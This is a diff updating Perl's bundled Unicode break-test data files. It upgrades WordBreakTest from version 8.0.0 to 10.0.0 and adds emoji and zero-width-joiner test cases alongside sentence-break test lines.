+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 2018 × 2060 × 0028 × 2060 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LEFT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 ÷ 2018 × 2060 × 0028 × 2060 × 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LEFT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 0308 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [8.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 0308 ÷ 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 0308 ÷ 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 000A ÷ 2060 × 0308 × 2060 × 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] <LINE FEED (LF)> (LF) ÷ [4.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 0020 × 2060 × 0072 × 2060 × 0065 × 2060 × 0073 × 2060 × 0070 × 2060 × 002E × 2060 × 0020 × 2060 × 006C × 2060 × 0065 × 2060 × 0061 × 2060 × 0064 × 2060 × 0065 × 2060 × 0072 × 2060 × 0073 × 2060 × 0020 × 2060 × 0061 × 2060 × 0072 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER R (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER S (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER P (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER L (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER A (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER R (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER S (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER A (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER R (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 5B57 × 2060 × 002E × 2060 ÷ 5B57 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 ÷ 5B83 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 3002 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.1] IDEOGRAPHIC FULL STOP (STerm) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 5B57 × 2060 × 3002 × 2060 ÷ 5B83 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [5.0] WORD JOINER (Format_FE) × [998.0] IDEOGRAPHIC FULL STOP (STerm) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0021 × 2060 × 0020 × 2060 × 0020 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] EXCLAMATION MARK (STerm) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [10.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
#
-# Lines: 503
+# Lines: 502
#
# EOF
diff --git a/gnu/usr.bin/perl/lib/unicore/auxiliary/WBTest.txt b/gnu/usr.bin/perl/lib/unicore/auxiliary/WBTest.txt
index 7e163f1e419..63761026ce1 100644
--- a/gnu/usr.bin/perl/lib/unicore/auxiliary/WBTest.txt
+++ b/gnu/usr.bin/perl/lib/unicore/auxiliary/WBTest.txt
@@ -1,22 +1,24 @@
-# WordBreakTest-8.0.0.txt
-# Date: 2015-05-02, 14:48:55 GMT [MD]
+# WordBreakTest-10.0.0.txt
+# Date: 2017-04-14, 05:40:44 GMT
+# © 2017 Unicode®, Inc.
+# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
+# For terms of use, see http://www.unicode.org/terms_of_use.html
#
# Unicode Character Database
-# Copyright (c) 1991-2015 Unicode, Inc.
-# For terms of use, see http://www.unicode.org/terms_of_use.html
-# For documentation, see http://www.unicode.org/reports/tr44/
+# For documentation, see http://www.unicode.org/reports/tr44/
#
-# Default Word Break Test
+# Default Word_Break Test
#
# Format:
-# <string> (# <comment>)?
-# <string> contains hex Unicode code points, with
-# ÷ wherever there is a break opportunity, and
+# <string> (# <comment>)?
+# <string> contains hex Unicode code points, with
+# ÷ wherever there is a break opportunity, and
# × wherever there is not.
# <comment> the format can change, but currently it shows:
# - the sample character name
# - (x) the Word_Break property value for the sample character
-# - [x] the rule that determines whether there is a break or not
+# - [x] the rule that determines whether there is a break or not,
+# as listed in the Rules section of WordBreakTest.html
#
# These samples may be extended or changed in the future.
#
@@ -42,18 +44,28 @@
÷ 0001 × 0308 ÷ 0030 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0001 ÷ 005F ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0001 × 0308 ÷ 005F ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0001 ÷ 1F1E6 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0001 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0001 ÷ 1F1E6 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0001 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0001 ÷ 05D0 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0001 × 0308 ÷ 05D0 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0001 ÷ 0022 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0001 × 0308 ÷ 0022 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0001 ÷ 0027 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0001 × 0308 ÷ 0027 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0001 ÷ 261D ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0001 × 0308 ÷ 261D ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0001 ÷ 1F3FB ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0001 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0001 ÷ 2640 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0001 × 0308 ÷ 2640 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0001 ÷ 1F466 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0001 × 0308 ÷ 1F466 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0001 × 00AD ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0001 × 0308 × 00AD ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0001 × 0300 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0001 × 0308 × 0300 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0001 × 200D ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0001 × 0308 × 200D ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0001 ÷ 0061 × 2060 ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0001 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0001 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -94,18 +106,28 @@
÷ 000D ÷ 0308 ÷ 0030 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 000D ÷ 005F ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 000D ÷ 0308 ÷ 005F ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 000D ÷ 1F1E6 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 000D ÷ 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 000D ÷ 1F1E6 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 000D ÷ 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 000D ÷ 05D0 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 000D ÷ 0308 ÷ 05D0 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 000D ÷ 0022 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 000D ÷ 0308 ÷ 0022 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 000D ÷ 0027 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 000D ÷ 0308 ÷ 0027 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 000D ÷ 261D ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 000D ÷ 0308 ÷ 261D ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 000D ÷ 1F3FB ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 000D ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 000D ÷ 2640 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000D ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000D ÷ 1F466 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] BOY (EBG) ÷ [0.3]
+÷ 000D ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 000D ÷ 00AD ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000D ÷ 0308 × 00AD ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000D ÷ 0300 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 000D ÷ 0308 × 0300 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 000D ÷ 200D ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 000D ÷ 0308 × 200D ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 000D ÷ 0061 × 2060 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 000D ÷ 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 000D ÷ 0061 ÷ 003A ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -146,18 +168,28 @@
÷ 000A ÷ 0308 ÷ 0030 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 000A ÷ 005F ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 000A ÷ 0308 ÷ 005F ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 000A ÷ 1F1E6 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 000A ÷ 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 000A ÷ 1F1E6 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 000A ÷ 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 000A ÷ 05D0 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 000A ÷ 0308 ÷ 05D0 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 000A ÷ 0022 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 000A ÷ 0308 ÷ 0022 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 000A ÷ 0027 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] APOSTROPHE (Single_Quote) ÷ [0.3]
